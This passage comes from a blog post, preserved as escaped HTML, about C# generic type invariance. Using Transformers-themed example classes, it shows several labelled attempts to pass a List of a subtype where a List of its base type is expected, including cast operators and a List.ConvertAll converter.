to List&amp;lt;T&amp;gt;&lt;br&gt;
&lt;/font&gt;&lt;/b&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; System;&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; Cybertron.Transformers;&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;class&lt;/span&gt; TransformersTest{&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; GetReadyForBattle(List&amp;lt;Transformer&amp;gt;
robots){&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
foreach&lt;/span&gt;(Transformer bot &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;in&lt;/span&gt; robots){&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
if&lt;/span&gt;(!bot.InRobotMode) 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; bot.Transform();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; Main(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;string&lt;/span&gt;[]
args){&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Autobot OptimusPrime &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Autobot(); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;Autobot&amp;gt; autobots &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; List&amp;lt;Autobot&amp;gt;(1);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; autobots.Add(OptimusPrime); 
&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Decepticon Megatron &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Decepticon(); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;Decepticon&amp;gt; decepticons &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; List&amp;lt;Decepticon&amp;gt;(1);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; decepticons.Add(&lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;/span&gt;Megatron);&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(decepticons); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(autobots); &lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;/span&gt;
&lt;br&gt;
&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
}&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
The reason this doesn't work has been explained ad nauseum by various members of the
CLR and C# teams such as Rick Byer's post &lt;a href="http://blogs.msdn.com/rmbyers/archive/2005/02/16/375079.aspx"&gt;Generic
type parameter variance in the CLR&lt;/a&gt; where he argues 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;
&lt;i&gt;&lt;span style="" lang="EN"&gt;More formally, in C# v2.0 if T is a subtype of U, then
T[] is a subtype of U[], but G&amp;lt;T&amp;gt; is not a subtype of G&amp;lt;U&amp;gt; (where G is
any generic type).&lt;span style=""&gt;&amp;nbsp; &lt;/span&gt;In type-theory terminology, we describe
this &lt;/span&gt;behavior&lt;span style=""&gt; &lt;span lang="EN"&gt;by saying that C# array types
are “covariant” and generic types are “invariant”.&lt;span style=""&gt;&amp;nbsp; &lt;/span&gt;
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;
&lt;i&gt;&lt;span style="" lang="EN"&gt;
&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;
&lt;/span&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;
&lt;i&gt;&lt;span style="" lang="EN"&gt;There is actually a reason why you might consider generic
type invariance to be a good thing.&lt;span style=""&gt;&amp;nbsp; &lt;/span&gt;Consider the following
code:&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;
&lt;i&gt;&lt;span style="" lang="EN"&gt;
&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;
&lt;/span&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: 0.5in;"&gt;
&lt;i&gt;&lt;b&gt;&lt;span style="font-size: 10pt; color: navy; font-family: 'Courier New';"&gt;List&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: 'Courier New';"&gt;&amp;lt;&lt;span style="color: blue;"&gt;string&lt;/span&gt;&amp;gt;
ls = &lt;span style="color: blue;"&gt;new&lt;/span&gt; &lt;b&gt;&lt;span style="color: navy;"&gt;List&lt;/span&gt;&lt;/b&gt;&amp;lt;&lt;span style="color: blue;"&gt;string&lt;/span&gt;&amp;gt;();&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;
&lt;i&gt;&lt;span style="font-size: 10pt; font-family: 'Courier New';"&gt;&lt;span style=""&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;ls.Add("test");&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;
&lt;i&gt;&lt;span style="font-size: 10pt; font-family: 'Courier New';"&gt;&lt;span style=""&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style="color: navy;"&gt;List&lt;/span&gt;&lt;/b&gt;&amp;lt;&lt;span style="color: blue;"&gt;object&lt;/span&gt;&amp;gt;
lo = ls;&lt;span style=""&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color: green;"&gt;// Can't do
this in C#&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;
&lt;i&gt;&lt;span style="font-size: 10pt; font-family: 'Courier New';"&gt;&lt;span style=""&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;object&lt;/span&gt; o1
= lo[0];&lt;span style=""&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color: green;"&gt;//
ok – converting string to object&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;
&lt;i&gt;&lt;span style="font-size: 10pt; font-family: 'Courier New';"&gt;&lt;span style=""&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;lo[0]
= &lt;span style="color: blue;"&gt;new&lt;/span&gt; &lt;span style="color: blue;"&gt;object&lt;/span&gt;();&lt;span style=""&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color: green;"&gt;//
ERROR – can’t convert object to string&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;
&lt;i&gt;&lt;span style="" lang="EN"&gt;
&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;
&lt;/span&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;span style="" lang="EN"&gt;&lt;i&gt;If this were allowed, the last line would have to result
in a run-time type-check (to preserve type safety), which could throw an exception
(eg. InvalidCastException).&lt;span style=""&gt;&amp;nbsp; &lt;/span&gt;This wouldn’t be the end of
the world, but it would be unfortunate.&lt;/i&gt;&lt;span style=""&gt;&lt;i&gt; &lt;/i&gt;
&lt;br&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt; 
&lt;p&gt;
Even if I buy that the there is no good way to prevent the error scenario in the above
code snippet without making generic types invariant, it seems that there were a couple
of ways out of the problem that were shut out by the C# language team. One approach
that I was so sure would work was to create a subtype of &lt;code&gt;System.Collections.Generics.List&lt;/code&gt; and
define implict and explict cast operators for it. It didn't
&lt;/p&gt;
&lt;font color="#006400"&gt;&lt;b&gt;WORKS! - MyList&amp;lt;T&amp;gt; implicitly casted to ArrayList via
user-defined cast operator&lt;br&gt;
&lt;/b&gt;&lt;/font&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; System;&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; Cybertron.Transformers;&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;class&lt;/span&gt; MyList&amp;lt;T&amp;gt;:
List&amp;lt;T&amp;gt;{&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;implicit&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;operator&lt;/span&gt; MyList&amp;lt;T&amp;gt;(ArrayList
target){&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; MyList&amp;lt;T&amp;gt; newList &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; MyList&amp;lt;T&amp;gt;(); 
&lt;br&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
foreach&lt;/span&gt;(T item &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;in&lt;/span&gt; target){&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; newList.Add(item);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
return&lt;/span&gt; newList; 
&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;class&lt;/span&gt; Test{&lt;br&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;
public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; GetReadyForBattle(MyList&amp;lt;Transformer&amp;gt;
robots){&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;foreach&lt;/span&gt;(Transformer
bot &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;in&lt;/span&gt; robots){&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;if&lt;/span&gt;(!bot.InRobotMode){&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; bot.Transform();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; Main(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;string&lt;/span&gt;[]
args){&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Autobot OptimusPrime &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Autobot(); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ArrayList autobots &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; ArrayList(1);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; autobots.Add(OptimusPrime); 
&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Decepticon Megatron &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Decepticon(); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ArrayList decepticons &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; ArrayList(1);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; decepticons.Add(Megatron);&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(decepticons); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(autobots); 
&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
}&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;&lt;font color="#ff0000"&gt; DOESN'T WORK - MyList&amp;lt;subtype of T&amp;gt; implicitly casted
to MyList&amp;lt;T&amp;gt; via user-defined cast&lt;/font&gt;&lt;/b&gt;
&lt;br&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; System;&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; Cybertron.Transformers;&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;class&lt;/span&gt; MyList&amp;lt;T&amp;gt;:
List&amp;lt;T&amp;gt;{&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;implicit&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;operator&lt;/span&gt; MyList&amp;lt;T&amp;gt;(MyList&amp;lt;U&amp;gt;
target) where U:T{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; MyList&amp;lt;T&amp;gt; newList &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; MyList&amp;lt;T&amp;gt;(); 
&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
foreach&lt;/span&gt;(T item &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;in&lt;/span&gt; target){&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; newList.Add(item);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
return&lt;/span&gt; newList; 
&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;class&lt;/span&gt; Test{&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; GetReadyForBattle(MyList&amp;lt;Transformer&amp;gt;
robots){&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
foreach&lt;/span&gt;(Transformer bot &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;in&lt;/span&gt; robots){&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if&lt;/span&gt;(!bot.InRobotMode) 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; bot.Transform();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; Main(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;string&lt;/span&gt;[]
args){&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; Autobot
OptimusPrime &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Autobot(); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; MyList&amp;lt;Autobot&amp;gt; autobots &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; MyList&amp;lt;Autobot&amp;gt;(1);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; autobots.Add(OptimusPrime); 
&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Decepticon Megatron &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Decepticon(); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; MyList&amp;lt;Decepticon&amp;gt; decepticons &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; MyList&amp;lt;Decepticon&amp;gt;(1);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; decepticons[0] &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; Megatron;&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(decepticons); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetReadyForBattle(autobots); &lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;
&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
}&lt;br&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
I really wanted that last bit of code to work because it would have been quite a non-intrusive
fix for the problem (ignoring the fact that I have to use my own subclasses of the
.NET Framework's collection classes). At the end of the day I ended up creating a
TypeConverter utility class which contains some of the dumbest code I've had to write
to trick a compiler into doing the right thing, here's what it ended up looking like 
&lt;br&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font color="#006400"&gt;&lt;b&gt;WORKS - Create a TypeConverter class that encapsulates calls
to List.ConvertAll&lt;/b&gt;&lt;/font&gt; 
&lt;/p&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; System;&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;using&lt;/span&gt; Cybertron.Transformers;&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;class&lt;/span&gt; TypeConverter{&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; List&amp;lt;Transformer&amp;gt;
ToTransformerList&amp;lt;T&amp;gt;(List&amp;lt;T&amp;gt; target) where T: Transformer{&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
return&lt;/span&gt; target.ConvertAll(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; Converter&amp;lt;T,Transformer&amp;gt;(MakeTransformer));&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
&lt;br&gt;
&amp;nbsp; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; Transformer &lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;MakeTransformer&lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;lt;T&amp;gt;(T
target) where T:Transformer{&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
return&lt;/span&gt; target; &lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;/*
greatest conversion code ever!!!! */&lt;/span&gt;
&lt;br&gt;
&amp;nbsp; }&lt;br&gt;
&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;class&lt;/span&gt; Test{&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;static&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; GetReadyForBattle(List&amp;lt;Transformer&amp;gt;
robots){&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
foreach&lt;/span&gt;(Transformer bot &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;in&lt;/span&gt; robots){&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if&lt;/span&gt;(!bot.InRobotMode) 
&lt;br&gt;
